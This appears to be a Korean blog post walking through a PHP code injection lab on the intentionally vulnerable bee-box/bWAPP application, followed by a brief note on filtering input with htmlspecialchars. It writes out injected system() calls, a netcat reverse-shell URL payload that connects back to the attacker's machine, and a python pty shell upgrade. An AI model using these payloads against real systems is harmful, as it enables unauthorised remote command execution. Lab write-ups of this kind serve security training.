일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 보안뉴스요약
- 카카오프로젝트100
- oracle db
- javascript
- 자바스크립트 prototype
- 보안뉴스 요약
- 자바스크립트 node
- 오라클
- 자바스크립트 API
- ES6
- 자바스크립트 기본 문법
- numpy
- 깃허브
- 카카오프로젝트 100
- 자바스크립트 jQuery
- Oracle SQL
- php
- 보안뉴스
- GIT
- 파이썬
- 다크웹
- 자바스크립트 객체
- 보안뉴스한줄요약
- 카카오프로젝트
- python
- 보안뉴스 한줄요약
- 랜섬웨어
- 자바스크립트 element api
- oracle
- 자바스크립트
- Today
- Total
FU11M00N
5-1. bee-box 를 사용하여 PHP Code injection 알아보기! 본문
이번에는 PHP Code injection에 대해 알아보겠습니다!
먼저 PHP는 PHP:Hypertext Preprocessor 이며 아래와 같은 특징을 가지고 있는 서버 측 프로그래밍 언어입니다!
1. 주로 HTML 코드를 프로그래밍적으로 생성
2. 서버쪽에서 실행되는 프로그래밍 언어
1. 레벨 low
phpi.php 에서는 message라고 되어있는 글씨를 클릭하면 'test' 문자가 출력됩니다! 그리고
URL을 보니 GET방식 메서드로 데이터를 전송하기 때문에 변수까지 노출되어있는 모습을 확인할 수 있다.
message라는 변수가 노출되어있으니 저곳에 PHP 함수를 입력하여 내부의 정보를 확인해보도록 해보자!
ls l 명령어를 사용하여 현재 디렉터리에 있는 파일들의 정보를 확인하였습니다.
message=system("ls /");
그럼 이번에도 NC(NetCat)을 사용해보도록 하겠습니다.
이번에는 넷켓을 이용하여 악성 스크립트를 넣어 실행되도록 해보겠습니다.
먼저 넷캣을 키고 저번과 동일하게
nc -l -p 2020을 입력합니다. -l의 의미는 listen 모드로 nc를 띠우게 됩니다. 주로 nc(netcat)을 서버로 이용할 때 사용합니다. -p의 의미는 local-port를 지정하는 것입니다 주로 -l과 함께 사용되며 포트 2020은 임의로 제가 정한 포트 번호입니다!
그다음 bWAPP에서 칼리 리눅스에 접속하기 위해 system 함수로 넷캣 프로그램을 실행하겠습니다.
http://192.168.32.128/bWAPP/phpi.php?message=system("nc 192.168.32.129 2020 -e /bin/bash")
( 여기서 -e는 exec의 줄임말이고 옵션에 입력한 프로그램을 실행해주는 명령어 형식입니다)
넷캣에서는 셸을 사용할 수 있는 프롬프트가 없고 vi 편집기도 사용을 못하기 때문에 'pseudo-terminal'을
사용하여 vi 편집기 등을 사용할 것입니다.
먼저 'pseudo-terminal' 이란 본체에 LAN으로 연결된 모드를 말하며 원격 접속을 할 수 있습니다.
pseudo-terminal 약자로 PTY라고도 부릅니다!
python -c 'import pty;pty.spawn("/bin/bash")'를 입력하여
vi편집기를 사용할 수 있게 되었습니다! 그 후,
임의로 php 파일을 만들어 alert로 ' hi? ' 가 뜨게 소스코드를 간단히 작성하였습니다.
그다음 해당하는 파일인 succed3.php로 접속하면
사진 1-7과 같이 alert 창이 떴습니다. 공격자가 alert를 이용해 쿠키값을 얻어내거나
사용자를 대상으로 피싱사이트로 유인할 수도 있는 위험이 있습니다.
2. 레벨 High(대응방안)
우선 난이도 하와 같이 message=system("ls /"); 를 입력하니 홈페이지에 그대로 출력된다.
가장 먼저 그랬듯, 소스코드를 확인해보자.
소스코드를 확인해보니 난이도 중, 상에서는 message 변수에 세미콜론을 사용하여 스크립트 코드와 같은
공격이 실행하지 못하게 막아놨다. 즉 세미콜론이 이미 정의되어있기 때문에 우리가 ' ; '를 이용해서 하려고 해도 안 되는 이유입니다.
이번에도 htmlspecialchars 함수를 사용해서 message 변수의 입력값을
필터링해야 합니다!
Reference by 비박스 환경을 활용한 웹 모의해킹 완벽실습
'Web Hacking > bee-box' 카테고리의 다른 글
7-1. bee-box 를 사용하여 SQL injection 알아보기! (0) | 2020.03.19 |
---|---|
6-1. bee-box 를 사용하여 SSI Code injection 알아보기! (0) | 2020.03.19 |
4-1. bee-box 를 사용하여 OS Command Injection 알아보기 (0) | 2020.03.18 |
3-1. bee-box 를 사용하여 iframe Injection 공격 알아보기 (0) | 2020.03.18 |
2-3. bee-box 를 사용하여 HTML Injection 알아보기 (0) | 2020.03.16 |